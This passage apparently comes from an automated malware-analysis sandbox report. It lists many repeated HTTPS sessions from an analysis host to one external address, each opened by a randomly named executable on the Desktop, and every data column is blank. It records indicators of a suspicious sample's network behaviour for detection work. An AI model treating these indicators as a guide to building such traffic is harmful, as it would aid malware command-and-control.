107	192.168.2.5	49954	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49955	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49956	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49779	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49957	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49962	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49964	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49965	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49966	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49967	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49968	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49969	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49970	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49972	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49780	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49973	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49974	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49975	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49976	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49977	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49978	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49979	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49980	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49982	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49983	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49781	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49984	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.5	49985	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49986	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.5	49987	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49988	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.5	49989	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49990	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.5	49992	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49993	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49994	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49782	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.5	49995	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49996	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.5	49997	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.5	49998	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49999	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.5	50000	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	50001	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.5	50002	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	50003	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.5	50004	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49783	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	50005	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.5	50006	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	50007	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.5	50008	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.5	50009	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.5	50010	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.5	50011	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.5	50012	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.5	50013	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.5	50014	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49784	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.5	50015	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.5	50016	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.5	50017	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.5	50018	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.5	50019	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.5	50020	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.5	50021	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.5	50022	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.5	50023	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.5	50025	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49785	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.5	50026	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.5	50028	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.5	50029	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.5	50030	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.5	50031	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.5	50032	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.5	50034	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.5	50035	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.5	50037	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.5	50039	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49786	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.5	50040	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.5	50042	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.5	50043	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.5	50045	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.5	50047	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.5	50050	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.5	50051	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.5	50054	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.5	50056	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.5	50059	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49787	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.5	50060	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.5	50065	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.5	50068	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.5	50070	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.5	50074	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.5	50077	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.5	50079	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.5	50080	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.5	50082	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.5	50084	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49770	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49788	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.5	50085	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.5	50087	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.5	50088	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.5	50091	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.5	50094	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.5	50095	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.5	50098	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.5	50100	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.5	50102	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.5	50103	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49789	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.5	50104	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.5	50108	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.5	50112	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.5	50114	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.5	50118	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.5	50119	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.5	50124	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.5	50126	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.5	50128	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.5	50129	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49790	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.5	50130	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.5	50131	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.5	50132	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.5	50133	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.5	50134	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.5	50135	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.5	50136	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.5	50137	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.5	50138	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.5	50140	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49791	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.5	50141	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.5	50142	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.5	50143	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.5	50144	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.5	50145	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.5	50146	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.5	50147	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.5	50148	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.5	50149	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.5	50150	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49792	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.5	50151	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

